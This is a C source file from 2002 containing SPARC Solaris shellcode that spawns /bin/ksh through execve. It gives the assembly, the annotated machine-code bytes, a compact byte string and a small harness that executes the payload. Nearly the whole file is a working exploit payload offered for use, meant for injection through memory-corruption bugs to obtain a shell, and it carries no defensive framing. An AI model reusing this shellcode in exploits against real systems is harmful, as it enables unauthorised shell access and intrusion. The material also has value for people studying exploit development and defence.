/*
 * Solaris shellcode - execve /bin/ksh
 *
 * Claes M. Nyberg 20020124
 * <md0claes@mdstud.chalmers.se>, <cmn@darklab.org> 
 */

#include <string.h>

/************************************************************
void
main(void)
{

__asm__("
        
        xor    %o2, %o2, %o2    ! o2 = 0 => envp = NULL
        set    0x2f62696e, %l0  ! l0 = '/bin'
        set    0x2f6b7368, %l1  ! l1 = '/ksh'    
        st     %o2, [%sp - 4]   ! String ends with NULL 
        st     %l1, [%sp - 8]   ! Write /ksh to stack
        st     %l0, [%sp - 12]  ! Write /bin to stack
        sub    %sp, 12, %o0     ! o0 = &string
        st     %o2, [%sp - 16]  ! argv[1] = NULL
        st     %o0, [%sp - 20]  ! argv[0] = &string
        sub    %sp, 20, %o1     ! o1 = &string
        mov    0x3b, %g1        ! g1 = 59 = SYS_execve
        ta     8                ! execve(argv[0], argv, NULL);
        mov    1, %g1           ! g1 = 1 = SYS_exit
        ta     8                ! exit();

    "); 
}
****************************************************************/


static char solaris_code[] =
    "\x94\x1a\x80\x0a"   /* xor     %o2, %o2, %o2        */
    "\x21\x0b\xd8\x9a"   /* sethi   %hi(0x2f626800), %l0 */
    "\xa0\x14\x21\x6e"   /* or      %l0, 0x16e, %l0      */
    "\x23\x0b\xda\xdc"   /* sethi   %hi(0x2f6b7000), %l1 */
    "\xa2\x14\x63\x68"   /* or      %l1, 0x368, %l1      */
    "\xd4\x23\xbf\xfc"   /* st      %o2, [%sp - 4]       */
    "\xe2\x23\xbf\xf8"   /* st      %l1, [%sp - 8]       */
    "\xe0\x23\xbf\xf4"   /* st      %l0, [%sp - 12]      */
    "\x90\x23\xa0\x0c"   /* sub     %sp, 12, %o0         */
    "\xd4\x23\xbf\xf0"   /* st      %o2, [%sp - 16]      */
    "\xd0\x23\xbf\xec"   /* st      %o0, [%sp - 20]      */
    "\x92\x23\xa0\x14"   /* sub     %sp, 20, %o1         */
    "\x82\x10\x20\x3b"   /* mov     59, %g1              */
    "\x91\xd0\x20\x08"   /* ta      0x8                  */
    "\x82\x10\x20\x01"   /* mov     1, %g1               */
    "\x91\xd0\x20\x08";  /* ta      0x8                  */


static char _solaris_code[] =
    "\x94\x1a\x80\x0a\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xda\xdc"
    "\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4"
    "\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14"
    "\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08";

int
main(void)
{
    void (*code)() = (void *)_solaris_code;
    printf("Shellcode length: %d\n", strlen(_solaris_code));
    code();
    return(1);
}